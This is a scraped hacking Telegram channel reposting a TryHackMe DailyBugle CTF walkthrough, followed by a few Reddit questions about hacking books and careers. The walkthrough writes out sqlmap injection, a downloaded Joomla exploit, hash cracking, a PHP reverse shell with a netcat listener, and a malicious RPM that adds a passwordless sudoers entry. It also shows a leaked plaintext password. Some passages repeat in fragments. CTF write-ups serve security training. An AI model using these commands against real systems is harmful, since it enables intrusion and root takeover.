Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
DailyBugle TryHackMe Walkthrough

IntroductionDailyBugle is a CTF Linux box with difficulty rated as “medium” on the TryHackMe platform. The machine covers Joomla 3.7.0 SQL injection vulnerability and privilege escalation using yum. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Discovering administrator directories using robots.txt
* Enumerating site using joomscan
* Discovering SQL injection flaw in the current installation

Exploitation

* Exploiting Joomla v 3.7.0 via SQLi in com_fields
* Cracking Joomla administrator hashes using john
* Modifying template to input PHP reverse shell code

Privilege Escalation

* Discovering other user’s credentials in the configuration file
* Elevating privileges using yum

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -sV -sC 10.10.91.172 -Pn
https://blogger.googleusercontent.com/img/a/AVvXsEg6ewVbblANrSOJ8hJpqOiJm4vpL6GzTX_PRq55YoI4AIZYTyx3ai-iI8Lg9c4DxU6uvjNKW2BcZ7h5X8LUUhAOjKnW-J7B8ypRmTQ8_xEuP504BRRtLndcO-LeCHSt40QhPBE0UHG01OMyosqpwUuWv8g2ufSWHOjvh2SRHp6-_5vfNCiMv946fGuxfg=s16000 EnumerationWe discovered the existence of a robots file that has an administrator directory.

https://blogger.googleusercontent.com/img/a/AVvXsEhTrHsnJl3SbfG2uZwj87O4H_FBMMtsTt1XHofEGHgeAMI3iHwW9zpIjevF8BkDcrYp1gUtgLKA7u-rPL9YQ8exzrke6UOfF8iPpIoeIQ2ERJq_u1Uv0UCwfBk-zZD1R40HgH4u3K2ovMVcyq6WNXgYMmJAoR1C_Y4g8z0nzoH-MC_t4xsxkuDfGQaAWA=s16000

Upon opening this directory we found out that an instance of Joomla was running on this website.

https://blogger.googleusercontent.com/img/a/AVvXsEgJE6yRTBf0lnIJwen-LHSjAwWNHq2hzVvJ0Wdm7C7sVxzuW9bOzaW1f4iKWlm0kKxRptpi3nXY8M-sW-eL3Gq-8RJzuqjibMLnhTOZ2GkVLCUuDXfWwgR6vO5LNDvOBnuAp-RAKw4zSHc8kUU1g0YWM8Ogpcqnu794JCEOfFqoomHW0ZyfSipQh5wVbA=s16000

Thus, we ran joomscan on this website and discovered the version 3.7.0 being run
joomscan -u http://10.10.91.172
https://blogger.googleusercontent.com/img/a/AVvXsEhakG8ZlYC3f4V_0KcWD9fjPdTfNFbxH2cFRhPUVtc2c5hh4Q8C5O3v_z5ZShulgR3BbYcECDeEZW_zjVn3aVEPHxLt7CJoGp3G3mUA13k1eM2GLh2MQPRA4fFFjAwsQn6l0LBL7uAwzOxm39LTi5fRdh4mQPvofSFELIKCvIGGlv1HAG7QXuNrc4GjIw=s16000

Right away we looked out for public exploits for this installed instance using searchsploit and discovered that version 3.7.0 was vulnerable to SQLi via the com_fields parameter.
searchsploit joomla 3.7.0
searchsploit -m 42033
https://blogger.googleusercontent.com/img/a/AVvXsEiGbxsLeRA853OEWItjJv3GSfub_6eT9dw-6K2Jq1884y-v6Wi3QpiUQKTBddxNXuFf0tUCCgYFwXaRdus2yNYK4YH0Mqrqh_6dt9CoeyZK8ztf_07LKfNE2qOPh9UM1X6vbTpIb7SQu-IWQVk4lEmaj4VYqq1J5INNFDcXoBwk-Kj2DpTPDc_uYAIANw=s16000 ExploitationAs exploit number 42033 told us, this sql injection vulnerability could be exploited by the following command
sqlmap -u "http://10.17.32.212/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump-all -p list[fullordering]
https://blogger.googleusercontent.com/img/a/AVvXsEiHhXa3jtipy1CO29WxYaQh9NJTXjh51tyhQoFYnfhJPz5avmsFIxFDqyEZCw76A4PWE91vfdrSORYKPBc9oj0VFx5_SkwX6crcv77NUStEGZINXq382CeRWFUjqVGn0PoM9m4vR06RPFJ1x5gRTsB8lEM0PTiOzbHe3GEr7ujliHd2hUuyRf0tdatIFA=s16000

However, while running this scan, it was taking way too long and so, we looked out for another script called “Joomblah.py” which is a POC for this SQLi vulnerability in Joomla v3.7.0. So we downloaded this script, ran and found credentials!
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
python2.7 joomblah.py http://10.10.91.172
https://blogger.googleusercontent.com/img/a/AVvXsEhf14J_masBIM5DT-W3tIH1EcwA3Sso33B-lbAL4FDksHMNHS2-F-Jzk-7Oq8cH_k7QB-J4J229vNdIPlNJr8tE0JHcPFAv1JrL7NezBJIJKADnokCXwCTbW9hOuCD1Sb7PqKRwnWMGP47ftYY9LFWwC[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles DailyBugle TryHackMe Walkthrough IntroductionDailyBugle is a CTF Linux box with difficulty rated as “medium” on the TryHackMe platform. The machine covers Joomla 3.7.0 SQL injection vulnerability and privilege escalation using yum. Table…
g-tsRlKqjtj-4v9SRV5X2IfPvc7bG0dr1EpwA=s16000

We had discovered the hash but to know it’s type we googled it up and found it was
bcrypt”

https://blogger.googleusercontent.com/img/a/AVvXsEgaJB6Rf9Vz8mR7iUHycd35n59vPSWQHk3bBfZZwnNWqAHOoW1zJMF-o2lbdKhKvC5l4EXfQBeBXU_iOjJB8rdIjx8V1KdGxHtLn0PG-cxRLMXX3hW2tryxd-zUV8U2mZAYlkfRo1U24aHx0EkNqDcaVrWn8l5j4pEJi9O6GJcXhdxyQQW8kBPBWXcc2Q=s16000

Thus we saved this hash in a  file and used john to crack them
cat hash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEhZSojChgR2YopgwwcKsZFffnhQ05Tx5oXRb_4vzba84YYYngX5Vjmp6UuVLYvH8ZmlWGKCM_RMxFEADxNhCHebLj6q2So4v98ctLQRg-aiDEbSpEH_Y_rxYxpWzIVUO6LzzV_d0ywi1E10BwljU4VLfemOYX6Ub6PB9N77RyglSn0fi-gVECyUl6FH3A=s16000

We see we have received clear text credentials. We logged in to the admin panel using this and can see a dashboard now!

https://blogger.googleusercontent.com/img/a/AVvXsEjDRa74V7ML_dQBn8CUsI_59j-Hjf-qTfcY2cz99YEktxsHj0zKeMRZcYOX0n3kic3bXFvRUnnIIv9y03jB0-6SjCY6xEg2lt3979pbzRN3doBrvPHFdcxRyHpkYQlzG9PpQVNr7QzuZx1i6WjBYsca1wwql0VJvdmI9fXPzbZhmPE9KYMNYP2c46PGPA=s16000

Like with any other CMS, Joomla also has templates that are running on PHP, therefore, right away we copied the php-reverse-shell.php code in the template file and clicked on template preview. Before launching template preview we also set up a netcat listener
nc -nlvp 1234
https://blogger.googleusercontent.com/img/a/AVvXsEhYo8AYrFzQx1if380pLpJw-nZHdqsQUjDh4hbYFpezgZWVd1IeFXXPlMHDdXZJPBWkR5mFuItkIwOHvzFBsuJIdW8nvP8v5mYxSkx1kPUuzRCjWYz9ThuGDWGQg78nubo1y9VSr3PqPjqSCOtNG5l2nA9DrhsESWctttsj-InPe3kcXAdfspUyxXaseQ=s16000

On our listener we see a shell popped up! Privilege EscalationNow that we have a working TTY on the victim box, we started looking for ways to escalate privileges. We checked the sudoers file but nothing was found.

https://blogger.googleusercontent.com/img/a/AVvXsEhQhNauxqMqhOh-lReB8JfRSE_29lSPjpEcRT5NuIb4tgJz63Udy72t3m9eLjoZwQZre4gXJ0Gx1h1wsGdbYCMJgOkN73zHxI5zpezFTcRxJ2mOzzJwh1pbXrogjrexcC1Z8KkZFk7CiZxOg3-jJf1cLEvFFMgp7T8JuqC2zx9UBBvS0achn_PF5MVrJg=s16000

After a quick system check and looking at the website’s files, we found a configuration file that had credentials of a database. root user had the password: nv5uz9r3ZEDzVjNu
cd /var/www/html
cat configuration.php
https://blogger.googleusercontent.com/img/a/AVvXsEhWVBOUGBMybQTxYpnVYOVtNnZ670yrF7lhEn9G0P1MvE3E8pDQZoWlrj8tnKqZnPNztu-iiR_p_nSO2Tk9Fz-pKubTnAkvTPKxKZ5IC65cSjoS7pemulMAug2tR80l40ppDqXi5v65FNW-h8UQMe-4klpr9Rf1DB9JcgW06NhnEPJ_4zZLSLoJ89h3oA=s16000

Now, we tried to login into another existing user jjameson using this password and it worked! We immediately spawned a stable teletype using python. Thereafter, we looked into the sudoers file and found yum in the entries.
su jjameson
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
https://blogger.googleusercontent.com/img/a/AVvXsEgfq0kL9_AtVTpJBemPkXKno-nAQBW_uzyKWH9WIw6Zsc-AgTsPAuvZTSch5lyLVkQRyZbBy3IuUW81K59bBiHGdL9cHznA_7AgEuCVy3SWVTt_OKJOvBbxuNXzTDQ9Sftt0Z9lExL1LqtZSNUh3QhacOSU61t-q4KqYXh6Pjt_6YZaAsPxo-F2PjSxug=s16000

Referring to gtfobins post here we can escalate our privileges by creating our custom RPM executable. For this we need rpm, fpm to be installed first. Thereafter, we’ll copy a command into a shell script. This echo command simply adds my user jjameson into the sudoers file so that any command can be run as root. This would be our payload. Then we create an rpm package using fpm package.
apt install rpm
gem install fpm
echo 'echo "jjameson ALL=(root) NOPASSWD:ALL" >> /etc/sudoers' > my.sh
fpm -n root -s dir -t rpm -a all --before-install my.sh .
python3 -m http.server 80
https://blogger.googleusercontent.com/img/a/AVvXsEiL9qM-HsFZBEXvnXw1_IuGYi8HL659Z7T-g69BAniicCBToAgl_mR5Xy8MR2Hjv3gUO68H3z0HCQtcJH00h0OB2uRdpudQSTb6ag3-MKnilV-7wJI-lIk8q4-3RFXGuN6EsCnXnYv2DZfLwcTOyrb43HzD6guOkRijMQDs6w0bWstKy65jV[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
g-tsRlKqjtj-4v9SRV5X2IfPvc7bG0dr1EpwA=s16000 We had discovered the hash but to know it’s type we googled it up and found it was bcrypt” https://blogger.googleusercontent.com/img/a/AVvXsEgaJB6Rf9Vz8mR7iUHycd35n59vPSWQHk3bBfZZwnNWqAHOoW1zJMF-o2lbdKhKvC5…
I_XaVov4g=s16000

Now all that’s left to do was to copy this file into /tmp directory on the victim’s box.
cd /tmp
wget http://10.17.32.212/root-1.0-1.noarch.rpm
https://blogger.googleusercontent.com/img/a/AVvXsEjdicIbEno9Huh1TnK16s0bGoJQvBsBVbtRS-oorM-vvVtqoTC4Hx0ux3eTzz7At6gSRMDw7Dh3hytmFNyewITTESBrIJEazMPmEpUZRDzCK-2a-kr7sarNsSOa5-G6BX_LYtAc4HrlMVk38Ux-g9zhFipQDoKeQL34vYHx9zI8BfZEDHzjkb_2u1pO8A=s16000

So, we downloaded it and ran using yum localinstall command. It ran successfully! We ran bash shell as sudo and as expected jjameson (my user) ran it as root and thus privileges were escalated! Finally, we read the congratulatory flag!
sudo yum localinstall -y root-1.0-1.noarch.rpm
sudo bash
cd /root
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjoAuqKw-p1UUNePP5om6dWuQRvikTWdFajQlw_oHzSYTYf1ZHlYKTRQqa9LToBB6yMNJCmLVrmuDhwh7KysncbGwjDE65LZFOwApAN8-Mc_l1x_oSVwedQHTz7pc5tQQz37RDkFqFif6VYeXPr0XXF2wgaKePejfOn42olYVVAVzNc4XDO-plHnQ6cBg=s16000

Hence, this is how we root this box. Kudos to the author on creating a beginner-friendly box that focuses on real life and commonly found vulnerabilities. Thanks for reading!

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post DailyBugle TryHackMe Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Recommend a book better than "Hacking - the Art of Exploitation"?

I'm trying to read the second edition but frankly it's pretty hard to extract any worthwhile information among all the anecdotes, jokes, basic info and padding (the margin sizes are ridiculous). It's getting on my nerves that the publisher and author buried what might be very useful info in all this padding. So can anyone recommend a book with similar (ideally more up to date) information that might be a bit more condensed?

submitted by /u/chrisname
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
How passionate are you about ethical hacking? If so, why?Or do you do this only for the money?

I plan to learn ethical hacking/security but first I am learning networks( it's really interesting so far) then programming, Linux etc. I have no idea if I will really like it and I wouldn't do it for the money, I already have a good passive income.I am curious to know if you're passionate about this trade, I might learn a thing or two of what awaits me.

submitted by /u/digitalwriternow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Kevin Mitnick cracks password - How?

This video here. What did he do? Didn't he already know and typ the password and that's why it went so fast? Also why is he using macOS and not Linux? Linux is supposed to be more secure? Are passphrases really that much better?

submitted by /u/Forxius
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
HackThisSite down?

Hey guys, anyone having trouble getting on HackThisSite.

I'm just getting 7 "error, an error has occurred. Please contact a developer"

I've had a quick look around and can't see any mentions.

submitted by /u/f1fthsun
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video